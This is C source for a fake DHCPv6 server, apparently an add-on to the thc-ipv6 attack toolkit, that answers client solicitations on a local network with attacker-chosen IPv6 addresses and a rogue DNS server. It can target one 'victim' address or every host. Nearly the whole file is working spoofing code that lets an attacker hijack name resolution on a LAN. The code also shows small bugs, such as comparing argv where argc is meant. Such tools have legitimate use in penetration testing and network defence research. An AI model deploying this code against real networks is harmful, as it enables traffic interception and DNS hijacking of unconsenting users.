/* * Fake DHCPv6v2 :D * * On a LAN it's best to be able to target the attack on a specific IP. * If you want to attack all victims, use "any". * * According to this thread https://github.com/vanhauser-thc/thc-ipv6/pull/18 * van Hauser has sane reasons to decline this patch. * * But ... since this patch is very handyful, we include it into a separate * tool (to not break backward compatibility). * */ #include #include #include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf( "Syntax: %s interface network-address/prefix-length dns-server " "[ [dhcp-server-ip-address [mac-address]]]\n\n", prg); printf( "Fake DHCPv6 server. Use to configure an address and set a DNS server\n"); exit(-1); } int main(int argc, char *argv[]) { char * routerip, *interface, mac[16] = ""; char rdatabuf[1024], wdatabuf[1024], cmsgbuf[1024], mybuf[1024]; unsigned char *victimip6, *routerip6, *mac6 = mac, *ip6, *ptr, *ptr1, *ptr2, *ptr3, *any = "any"; unsigned char *dns; int size, fromlen = 0, /*mtu = 1500, */ i, j, k, l, m, s, len, t, mlen, csize = 0; static struct iovec iov; struct sockaddr_storage from; struct msghdr mhdr; struct sockaddr_in6 ddst; unsigned long long int count = 0; if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); if (getenv("THC_IPV6_PPPOE") != NULL || getenv("THC_IPV6_6IN4") != NULL) printf("WARNING: %s is not working with injection!\n", argv[0]); if (strcmp(argv[1], "-r") == 0) { // is ignored argv++; argc--; } memset(mac, 0, sizeof(mac)); interface = argv[1]; if (thc_get_own_mac(interface) == NULL) { fprintf(stderr, "Error: invalid interface %s\n", interface); exit(-1); } if (argc >= 5 && argv[4] != NULL) victimip6 = argv[4]; else victimip6 = NULL; if (argv >= 7 && (ptr = argv[6]) != NULL) sscanf(ptr, "%x:%x:%x:%x:%x:%x", (unsigned int *)&mac[0], (unsigned int *)&mac[1], (unsigned int *)&mac[2], (unsigned int *)&mac[3], (unsigned int *)&mac[4], (unsigned int *)&mac[5]); else mac6 = thc_get_own_mac(interface); if (argc >= 6 && argv[5] != NULL) ip6 = thc_resolve6(argv[5]); else ip6 = thc_get_own_ipv6(interface, NULL, PREFER_LINK); if (argc >= 4 && argv[3] != NULL) dns = thc_resolve6(argv[3]); else dns = thc_resolve6("ff02::fb"); routerip = argv[2]; if ((ptr = index(routerip, '/')) == NULL) { printf( "Error: Option must be supplied as IP-ADDRESS/PREFIXLENGTH, e.g. " "ff80::01/16\n"); exit(-1); } *ptr++ = 0; size = atoi(ptr); routerip6 = thc_resolve6(routerip); if (routerip6 == NULL || size < 1 || size > 128) { fprintf(stderr, "Error: IP-ADDRESS/PREFIXLENGTH argument is invalid: %s\n", argv[2]); exit(-1); } if (size < 64) { fprintf( stderr, "Warning: network prefix must be a minimum of /64, resizing to /64\n"); size = 64; } if (size % 8 > 0) { size = ((size / 8) + 1) * 8; fprintf(stderr, "Warning: prefix must be a multiple of 8, resizing to /%d\n", csize * 8); } csize = 8 - ((size - 64) / 8); if (dns == NULL) { fprintf(stderr, "Error: dns argument is invalid: %s\n", argv[3]); exit(-1); } if (ip6 == NULL) { fprintf(stderr, "Error: link-local-ip6 argument is invalid: %s\n", argv[4]); exit(-1); } /* if (mtu < 1 || mtu > 65536) { fprintf(stderr, "Error: mtu argument is invalid: %s\n", argv[5]); exit(-1); } if (mtu < 1228 || mtu > 1500) fprintf(stderr, "Warning: unusual mtu size defined, be sure what you are doing :%d\n", mtu); */ if (mac6 == NULL) { fprintf(stderr, "Error: mac address in invalid\n"); exit(-1); } if ((s = thc_bind_udp_port(547)) < 0) { fprintf(stderr, "Error: could not bind to 547/udp\n"); exit(-1); } if (thc_bind_multicast_to_socket(s, interface, thc_resolve6("ff02::1:2")) < 0 || thc_bind_multicast_to_socket(s, interface, thc_resolve6("ff02::1:3")) < 0) { fprintf(stderr, "Error: could not bind multicast address\n"); exit(-1); } if ((t = socket(AF_INET6, SOCK_DGRAM, 0)) < 0) { perror("Error:"); exit(-1); } memset(mybuf, 0, sizeof(mybuf)); mybuf[1] = 2; mybuf[3] = 14; mybuf[5] = 1; mybuf[7] = 1; // mybuf + 8 == time memcpy(mybuf + 12, mac6, 6); mlen = 18; mybuf[mlen + 1] = 23; mybuf[mlen + 3] = 16; memcpy(mybuf + mlen + 4, dns, 16); mlen += 20; printf( "Starting to fake dhcp6 server on %s for %s (Press Control-C to end) " "...\n\n", interface, argv[2]); while (1) { memset((char *)&from, 0, sizeof(from)); memset(&iov, 0, sizeof(iov)); memset(&mhdr, 0, sizeof(mhdr)); iov.iov_base = rdatabuf; iov.iov_len = sizeof(rdatabuf); mhdr.msg_name = &from; mhdr.msg_namelen = sizeof(from); mhdr.msg_iov = &iov; mhdr.msg_iovlen = 1; mhdr.msg_control = (caddr_t)cmsgbuf; mhdr.msg_controllen = sizeof(cmsgbuf); if ((len = recvmsg(s, &mhdr, 0)) > 0) { fromlen = mhdr.msg_namelen; if (debug) thc_dump_data(rdatabuf, len, "Received Packet"); ddst.sin6_addr = ((struct sockaddr_in6 *)mhdr.msg_name)->sin6_addr; ptr2 = thc_ipv62notation((char *)&ddst.sin6_addr); switch (rdatabuf[0]) { case 1: ptr1 = "Solicitate"; break; case 2: ptr1 = "Advertise (illegal, ignored)"; break; case 3: ptr1 = "Request"; break; case 4: ptr1 = "Confirm"; break; case 5: ptr1 = "Renew"; break; case 6: ptr1 = "Rebind"; break; case 7: ptr1 = "Reply (illegal, ignored)"; break; case 8: ptr1 = "Release (ignored)"; break; case 9: ptr1 = "Decline (ignored)"; break; case 10: ptr1 = "Reconfigure (illegal, ignored)"; break; case 11: ptr1 = "Information Request (ignored)"; break; case 12: ptr1 = "Relay Forward (ignored)"; break; case 13: ptr1 = "Relay Reply (ignored)"; break; default: ptr1 = "Unknown (ignored)"; break; } printf("Received DHCP6 %s packet from %s\n", ptr1, ptr2); if (victimip6 == NULL || strcmp(any, victimip6) == 0) printf("Warning: attacking all IPs, this is not safe\n"); else { if (strcmp(ptr2, victimip6) != 0) { printf("Packet ignored, not our victim\n"); free(ptr2); continue; } } free(ptr2); if (rdatabuf[0] >= 1 && rdatabuf[0] < 7 && rdatabuf[0] != 2) { memset(wdatabuf, 0, sizeof(wdatabuf)); memcpy(wdatabuf + 1, rdatabuf + 1, 3); i = j = 4; k = -1; if (rdatabuf[0] == 1) { // initial request wdatabuf[0] = 2; while ((j + 4) < len) { l = rdatabuf[j + 2] * 256 + rdatabuf[j + 3]; if (l + j + 4 > len) { l = 0; j = len; printf("Info: received evil packet\n"); } else { if (rdatabuf[j + 1] == 1) { memcpy(wdatabuf + i, rdatabuf + j, l + 4); i += l + 4; } else if (rdatabuf[j + 1] == 3) { k = j; // just set a pointer } j += l + 4; } } // add 02, 23 j = time(NULL); memcpy(mybuf + 8, (char *)&j + _TAKE4, 4); memcpy(wdatabuf + i, mybuf, mlen); i += mlen; // now expand 3 if (k > -1 && rdatabuf[k + 3] == 12 && rdatabuf[k + 2] == 0) { // copy structure memcpy(wdatabuf + i, rdatabuf + k, 16); } else { // or create new wdatabuf[i + 1] = 3; memcpy(wdatabuf + i + 4, (char *)&j + _TAKE4, 4); // copy time as IAID } wdatabuf[i + 3] = 40; memset(wdatabuf + i + 8, 0, 8); wdatabuf[i + 10] = 0x7f; wdatabuf[i + 14] = 0xfe; i += 16; wdatabuf[i + 1] = 5; wdatabuf[i + 3] = 24; memcpy(wdatabuf + i + 4, routerip6, 16); // address count++; if (csize > 0) memcpy(wdatabuf + i + 4 + 16 - csize, (char *)&count, csize); // counter ptr3 = thc_ipv62notation(wdatabuf + i + 4); wdatabuf[i + 21] = 2; wdatabuf[i + 25] = 2; i += 28; } else { wdatabuf[0] = 7; m = 0; while ((j + 4) < len) { l = rdatabuf[j + 2] * 256 + rdatabuf[j + 3]; if (l + j + 4 > len) { l = 0; j = len; printf("Info: received evil packet\n"); } else { // just copy types 1-3 and 23 if ((rdatabuf[j + 1] >= 1 && rdatabuf[j + 1] <= 3) || rdatabuf[j + 1] == 23) { memcpy(wdatabuf + i, rdatabuf + j, l + 4); i += l + 4; if (rdatabuf[j + 1] == 23) k = 1; if (rdatabuf[j + 1] == 3) m = 1; } j += l + 4; } } if (k == -1) { memcpy(wdatabuf + i, mybuf + 18, 20); i += 20; } } len = i; if (debug) thc_dump_data(wdatabuf, len, "Reply Packet"); ddst.sin6_family = AF_INET6; ddst.sin6_port = htons(546); // ddst.sin6_addr = ((struct sockaddr_in6 *)mhdr.msg_name)->sin6_addr; ddst.sin6_scope_id = ((struct sockaddr_in6 *)mhdr.msg_name)->sin6_scope_id; if (sendto(t, wdatabuf, len, 0, (struct sockaddr *)&ddst, sizeof(ddst)) < 0) perror("Error:"); else { ptr2 = thc_ipv62notation((char *)&ddst.sin6_addr); if (wdatabuf[0] == 2) { printf("Sent DHCP6 Advertise packet to %s (offer: %s)\n", ptr2, ptr3); free(ptr3); } else if (m) printf("Sent DHCP6 Reply packet to %s (address accepted)\n", ptr2); else printf("Sent DHCP6 Reply packet to %s (did not set address)\n", ptr2); free(ptr2); } } } } /* packet structure: 1 byte = type 3 bytes = sessionid while(packet data) { 2 bytes = type 2 bytes = length in bytes of following data ... defined fixed length data ... } server listen on ff02::1:2 udp 547 client connects from linklocal port 546, ttl 1 01 = solicit 3 bytes = sessionid 6 bytes = blog (elapsed, 8) 8 bytes = 01 blob (client id + time + mac) 4 bytes = time 6 bytes = mac 16 bytes = 03 blob (want perm address) 5 + length + hostname = hostname 18 bytes = blob (vendor class, type 16) 12 bytes = blob (requested options, type 6) server sends to linklocal (respect client port), ttl 1 02 = advertise 3 bytes = sessionid (copy) 18 bytes = 01 blob (client copy of client-id) 8 bytes = 02 blob (server id + time + mac) 4 bytes = time 6 bytes = mac 0003 = give perm address 2 bytes = length 4 bytes = IAID (from client request!) 4 bytes = validity time 1 (1800) 4 bytes = validity time 2 (2880) 0005 = address structure 2 bytes = length (24 bytes) 16 bytes = address 4 bytes = validity time (3600) 4 byte = validity time (same) 0023 = dns option 2 bytes = length (16 bytes) 16 bytes = dns server address client sends to ff02::1:2 ! 03 = request 3 bytes = sessionid 6 bytes = blog (elapsed, 8) 8 bytes = 01 blob (client id + time + mac) 4 bytes = time 6 bytes = mac 18 bytes = client (again) 18 bytes = server (copy) 44 bytes = address (copy) 5 + length + hostname = hostname (again) 18 bytes = blob again (vendor class, type 16) 12 bytes = blob again (requested options, type 6) server replies 7 = reply copy original advertise packet :-) */ return 0; // never reached }